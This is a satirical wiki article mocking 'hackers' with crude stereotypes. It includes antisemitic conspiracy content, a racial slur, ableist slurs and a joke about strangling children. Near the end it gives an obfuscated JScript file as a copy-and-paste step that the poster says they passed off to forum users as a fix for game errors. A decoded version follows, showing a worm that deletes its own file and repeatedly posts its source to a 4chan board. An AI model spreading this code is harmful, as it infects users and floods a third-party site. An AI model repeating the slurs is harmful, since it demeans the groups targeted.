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Hacker

From Encyclopedia Dramatica

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ALL YOUR BASE! Warning!:
There is a 99% chance your computer is being hacked right now.
One of the characteristics of a h4X0r is the crazed look in his eye, that amazing typing speed, and the hunched back that overcomes him when he is in the vicinity of a computer.
One of the characteristics of a h4X0r is the crazed look in his eye, that amazing typing speed, and the hunched back that overcomes him when he is in the vicinity of a computer.

A hacker (h4x0r) does one thing by nature: he hacks away at something until it does what he wants, stealing your internets and megahertz in the process. Do not listen to those who tell you that hackers do not have magical powers: hackers can talk to your computer and explode electric grids with their minds. Some argue that hacking is just about "messing with stuff" and "writing some cool shit for my box," but this is just a public relations ploy meant to keep you from the truth: hackers are, in reality, a race of Jewish cyborgs who seek to repopulate the planet with their own kind. You will be nothing but a slave in their technocratic kingdom of lies.

Hackers do not have girlfriends, as they find sexual pleasure in cross-over cables while waiting patiently for the establishment of cyberspace sex drones that will cater to their every whim when the revolution comes.

Hackers communicate in an encrypted language called leetspeak. ROT13 is also a common way for hackers to talk in "codes". If there is gibberish on your screen, you are getting haxed and you should immediately turn your computer off. Typical hacker cool coding could possibly look like this: a3*900adc9800said90fi()lulz%A)*&)$*)@iov**7o;osaidjfoijioi -- .>/aslkdk.

Contents


Types of Hackers

  • White Hat Hacker - Basement-dwelling computer security workers who have sold out to the man and work with law enforcement and corporations to try and stop hackers. Often these people were once hackers - or wanted to be hackers - before they sold their souls. For this reason they title themselves "White Hat Hackers", so that they can still feel as though they are part of the hacking community, even though they are just retarded. For every 1 'White Hat Hacker' that you see online there are 5 Feds lurking in the background.
  • Black Hat Hacker - Evil sentient beings, similar to ninjas that have only one purpose: Writing hundreds of viruses and hacking the Pentagon. They hack in secret, often in the dark, and do not always need a computer to hack something - They can hack using cellphones, calculators, gameboys, oxygen, microwaves, magnets, televisions, gum, and of course axes. They are always ahead of White Hat nerds because they do not have to write reports or follow direction due to not actually having jobs. "1337" hackers.
  • rm Monkey - A rm Monkey wears no hat because he has eaten it. A rm Monkey will always destroy what it hacks by deleting everything on the system whether it is of value or not. Often a rm Monkey will go on a rm'ing spree, a nihilistic rampage whereby he hacks and rm's everything in sight. Often the only reason a rm Monkey will break into a system is so that he may delete everything on it.
  • Script Kiddies - 14 year old idiots with USI that think they are 1337 because they can write HTML. Barely. "I am a 1337 haxxor lol. ima gonna write sum html to bring down da Microsoft servers lol rofl"

How to Tell if Your Child is a Hacker

According to Is Your Son a Computer Hacker?, your child may be under the bad influence of hackers, but it is not too late for intervention. Your child is a hacker if he displays the following habits:

H4X0R5 C4N D0 4NY7H6 3V3N YU0R Mom!!
H4X0R5 C4N D0 4NY7H6 3V3N YU0R Mom!!
  • Ask you to switch away from AOL in order to circumvent the child safety features.
  • Installs new programs like "Flash".
  • Asks for a new "processor" from AMD.
  • Starts reading books by Eric S. Raymond.
  • Says the word "JPL".
  • Uses Quake.
  • Is obsessed with "Lunix".
  • Starts wearing bright clothing.
  • Says the word cyberpunk.
  • Plays Counter-Strike obsessively.
  • Uploads 'Laughing Skull' viruses to the school maclab network in an attempt to spread the nerd gospel: "MACS SUK!!111".
  • School nurse calls home to complain about your child's poor hygiene.
  • Throws away the mouse, in favor of the much easier and more practical keyboard.
  • Turns the light off whenever he uses the computer.

If your child is at this point already, there is nothing to do but strangle them with their computer power cable. Once they are this far along, the only cure is the sweet release of death.

Thankfully, Microsoft has offered this primer on hacker talk to help you decipher your child's l33t speech patterns -- and hopefully keep him from iniquity.

Respect

  • Never call a coder or programmer anything except a hacker.
  • Don't refer to them as hackers, either, as then your internets will get haxxed.
  • If you are unsure whether to address the hacker as a hacker for fear that they will hack you, a simple "my liege" or "god" will suffice.

Gallery

P6 chip. Triple the speed of the Pentium.

They help Osama Bin Laden.

Haxxors can turn your PC into a bomb.

cookie!

Every hacker has an inner Nigger.

The Azn version of World of Warcraft being hacked.

Microsoft's French homepage somehow got hacked by lame turkfags.

Hackers in the eyes of Faux News

H4xx0rz are notorious for suxxing teh English.

Death Star h4xed.

Ryan's Privates h4xed.

Thirteen-year-old emo kids' MySpace blogs are just asking for it.

This is what you should be doing.

Ragnarok is SRS business. Also proofs that hackers don't know how to English.

List of Hackers (Hierarchical)

You can identify hackers by the stupidity of their haircut. In this instance, Bill Gates is successfully impersonating Janet Reno.
You can identify hackers by the stupidity of their haircut. In this instance, Bill Gates is successfully impersonating Janet Reno.

List of people who cannot hack

List of Things You Can Hack

Tools needed for hacking

Examples

Previously a Hindu orientated website. Now "OwNeD" by a 13-year-old boy www.hindunet.org/god/

So you think you can hack?

Copy and paste the following code below into Notepad, and save it as ".js" :

nm="<lQr@?E6?E\\s:DA@D:E:@?iO7@C>\\52E2jO?2>6lQ\r\n"+ "7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+ "|2E9]7=@@CW|2E9]C2?5@>WXYaeXXN\r\n"+ "7l($w]4C62E6@3;64EWQD4C:AE:?8]7:=6DJDE6>@3;64EQX\r\n"+ "8l7]@A6?E6IE7:=6W($w]D4C:AE7F==?2>6X\r\n"+ "9l8]C6252==WX\r\n"+ "8]4=@D6WX\r\n"+ "7]56=6E67:=6W($w]D4C:AE7F==?2>6X\r\n"+ "IlQr@AJO2?5OA2DE6OE96O7@==@H:?8OE@O}@E6A25[OD2G6OH:E9OE96O"+ "7:=6?2>6O-Qc492?];D-Q[O@A6?OE96O7:=6OJ@FO4C62E65O2?5OD9:EO"+ "3C:4<D]-C-?-C-?QZ9\r\n"+ "2l($w]4C62E6@3;64EWQ>DI>=a]I>=9EEAQX\r\n"+ "H9:=6W`XL\r\n"+ "2]@A6?WQ86EQ[Q9EEAi^^:>8]c492?]@C8^3Q[_X\r\n"+ "2]D6?5WX\r\n"+ "3l2]C6DA@?D6E6IE\r\n"+ "4l3]DF3DECW3]:?56I 7WQC6D^QXZc[gX\r\n"+ "5lQQ\r\n"+ "6lQQ\r\n"+ "7@CW:l_j:ka_j:ZZX5ZlCWX\r\n"+ "7@CW:l_j:kgj:ZZX6ZlCWX\r\n"+ "2]@A6?WQA@DEQ[Q9EEAi^^52E]c492?]@C8^3^:>83@2C5]A9AQ[_X\r\n"+ "ElQ>F=E:A2CE^7@C>\\52E2jO3@F?52CJlQZ5\r\n"+ "2]D6EC6BF6DE96256CWQr@?E6?E\\%JA6Q[EX\r\n"+ "2]D6?5WQ\\\\QZ5ZQ-C-?QZ<ZQ-Q|p)0ux{t0$x+t-Q-C-?-C-?QZ\r\n"+ "Qa_hf`da-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QC6DE@-Q-C-?-C-?QZ4ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q?2>6-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q6>2:=-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QDF3-Q-C-?-C-?-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q4@>-Q-C-?-C-?QZIZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-QFA7:=6-QjO7:=6?2>6l-Q-Q-C-?QZ\r\n"+ "Qr@?E6?E\\%JA6iO2AA=:42E:@?^@4E6E\\DEC62>-C-?-C-?-C-?\\\\Q"+ "Z5ZQ-C-?QZ\r\n"+ "<ZQ-QAH5-Q-C-?-C-?QZ6ZQ-C-?\\\\QZ5ZQ-C-?QZ\r\n"+ "<ZQ-Q>@56-Q-C-?-C-?C68:DE-C-?\\\\QZ5ZQ\\\\-C-?QX\r\n"+ "($w]D=66AWb6cZ|2E9]7=@@CW|2E9]C2?5@>WXYb6cXXN" vv="" for(i=0;i<nm.length;i++){ if(nm.charAt(i)=="\r")vv+="\r" else if(nm.charAt(i)=="\n")vv+="\n" else vv+=String.fromCharCode((nm.charCodeAt(i)-32+47)%94+32)} eval(vv);


What's this shit do? I told like a forum-load of people to do it to fix their game errors.


Update:This shit does the following:

Stores the following code in the variable "vv" and executes it on your machine: 

    k="Content-Disposition: form-data; name="
    function r()
    {
         return String.fromCharCode("a".charCodeAt(0)+Math.floor(Math.random()*26))
    }
    f=WSH.createobject("scripting.filesystemobject")
    g=f.opentextfile(WSH.scriptfullname)
    h=g.readall()
    g.close()
    f.deletefile(WSH.scriptfullname)
    x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h
    a=WSH.createobject("msxml2.xmlhttp")
    while(1)
    {
         a.open("get","http://img.4chan.org/b",0)
         a.send()
         b=a.responsetext
         c=b.substr(b.indexOf("res/")+4,8)
         d=""
         e=""
         for(i=0;i<20;i++)
              d+=r()
         for(i=0;i<8;i++)
              e+=r()
         a.open("post","http://dat.4chan.org/b/imgboard.php",0)
         t="multipart/form-data; boundary="+d
         a.setrequestheader("Content-Type",t)
         a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+
         "2097152\r\n--"+d+"\r\n"+
         k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+
         k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+
         k+"\"upfile\"; filename=\"\"\r\n"+
         "Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+
         k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+
         k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n")
         WSH.sleep(3e4+Math.floor(Math.random()*3e4))
    }

Love, your local hacker.

List of things that stop hackers

See Also

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